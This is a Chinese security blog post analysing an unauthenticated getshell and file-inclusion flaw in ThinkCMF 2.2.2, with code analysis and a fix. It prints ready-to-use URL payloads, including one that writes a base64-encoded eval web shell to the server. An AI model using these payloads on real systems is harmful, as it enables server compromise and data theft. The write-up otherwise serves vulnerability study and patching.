ThinkCMF2.2.2前台直接getshell+任意文件包含漏洞

2019-10-24 / 0 评论 渗透测试 / Mrxn

本文共计 2643 字,感谢您的耐心浏览与评论.

0x00 简介
    ThinkCMF是一款基于ThinkPHP+MySQL开发的开源中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。
0x01 漏洞概述
    远程攻击者在无需任何权限情况下,可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。
0x02 影响版本 
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
0x03 漏洞利用&测试环境

测试环境:
测试版本:thinkcmf 2.2.2
phpstudy pro
windows 10

一共有两种方式:
第一种是通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件,phpinfo版payload如下:
/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
第一种漏洞复现截图如下:
thinkcmf之getshell.png
第二种是通过构造a参数的display方法,实现任意内容包含漏洞,payload如下: 
/index.php?a=display&templateFile=README.md
第二种漏洞复现截图如下:
thinkcmf任意文件包含二.png

0x04 漏洞分析
    根据index.php的第25行可知道项目相对路径为application目录:
//开启调试模式
define("APP_DEBUG", true);
//网站当前路径
define('SITE_PATH', dirname(__FILE__)."/");
//项目路径,不可更改
define('APP_PATH', SITE_PATH . 'application/');
//项目相对路径,不可更改
define('SPAPP_PATH',   SITE_PATH.'simplewind/');

    然后找到 application\Portal\Controller 路径下的 IndexController.class.php 控制器类:
可以看到只有一个公共的display方法:
namespace Portal\Controller;
use Common\Controller\HomebaseController; 
/**
 * 首页
 */
class IndexController extends HomebaseController {
	
    //首页 小夏是老猫除外最帅的男人了
	public function index() {
    	$this->display(":index");
    }

}

    其父类是  Common\Controller\HomebaseController ,根据ThinkPHP框架规则,可以通过 g\m\a 参数指定分组(group)\模块(model)\动作或方法(action),我们打开 application\Common\Controller 路径下的 HomebaseController.class.php 可以看到通过a参数直接调的这几个权限为 public 的方法:
thinkcmf几个权限为public的函数.png
    这边有问题的是display函数和fetch函数:
    display函数的作用是加载模板和页面输出,所对应的参数为:
$templateFile 指定要调用的模板文件,$charset 模板输出字符集,$contentType 输出类型,$content 模板输出内容。
templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找:
public function parseTemplate($template='') {...}

    然后调用THinkphp Controller 函数的display方法,其中fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。
	/**
	 * 获取输出页面内容
	 * 调用内置的模板引擎fetch方法,
	 * @access protected
	 * @param string $templateFile 指定要调用的模板文件
	 * 默认为空 由系统自动定位模板文件
	 * @param string $content 模板输出内容
	 * @param string $prefix 模板缓存前缀* * @return string
	 */
	public function fetch($templateFile='',$content='',$prefix=''){
	    $templateFile = empty($content)?$this->parseTemplate($templateFile):'';
		return parent::fetch($templateFile,$content,$prefix);
	}

    这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可getshell。最终形成的payload:
/index.php?a=fetch&content=<?php+file_put_contents("mrxn.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIjAwMCJdKTs/Pg=="));
thinkcmf之getshell2.png
0x05 修复方式
    将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected。
修改修饰为protected即可防御.png
还有另一种getshell的方法:
thinkcmf前台getshell.png
参考:

https://www.freebuf.com/vuls/217586.html
https://xz.aliyun.com/t/3529

标签: 漏洞 Thinkphp getshell rce

转载:转载请注明原文链接 - ThinkCMF2.2.2前台直接getshell+任意文件包含漏洞


0条回应:“ThinkCMF2.2.2前台直接getshell+任意文件包含漏洞”


发表评论

{view_code_no}